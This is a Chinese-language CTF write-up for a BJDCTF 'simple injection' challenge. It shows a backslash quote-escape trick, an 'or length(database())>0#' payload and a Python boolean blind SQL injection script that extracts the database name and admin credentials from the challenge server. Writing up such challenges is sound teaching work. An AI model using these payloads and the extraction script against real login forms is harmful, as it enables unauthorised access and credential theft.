本次以BJDCTF的题目,简单对整数型注入做一些讲解。
其实也是布尔盲注,但题目难度较低
首先进入界面:
看到的是比较友善的登录界面,考虑题目名称为简单注入,我们直接在密码栏输入 ',发现被过滤。
因此开始考虑整数型注入。
既然闭合了引号防止闭合,这里我们可以猜测后端代码,结合用户名输入进行注入。
在用户名中输入\
,可以过滤掉用户名处的最后一个'
,这是password='
这部分的第一个引号将会作为前面字符段的闭合,就可以构造整数型注入。
我们构建第一个payload:
username=a\
password=or length(database())>0#
发现回显改变:
说明我们的思路整体是正确的。
那么接下来就是写脚本爆了:
import requests
import time
url='http://e33486cf-7016-47df-b067-1515c685ffe5.node3.buuoj.cn/'
inf=''
for i in range(1,2000):
low=32
high=128
mid=(low+high)>>1
while low<high:
time.sleep(0.1)
data={
'username':'aa\\',
'password':''
}
# data['password']='or ascii(substr(database(),{},1))>{}#'.format(i,mid)
# data['password'] = 'or ascii(substr((username),{},1))>{}#'.format(i, mid)
# data['password'] = 'or ascii(substr((password),{},1))>{}#'.format(i, mid)
re=requests.post(url=url,data=data)
if 'stronger' in re.text:
low=mid+1
else:
high=mid
mid=(high+low)>>1
if low==32 or high==128:
break
inf += chr(mid)
print(inf)
脚本是相当简单的二分,至于import time的意义读者可以自行考虑。。。
其实这里select之类的是被过滤了的,但username与password居然没被过滤。。
姑且认为这是一道CTF题目吧。。
最后得到的回显中,username=admin,password=OhyOuFOuNdit
登录得到flag:
考察知识点:
双注,简单盲注,简单布尔注入
难度:
简单
总结:
咕咕了好久,后面该思考*CTF出题的最后步骤了。。。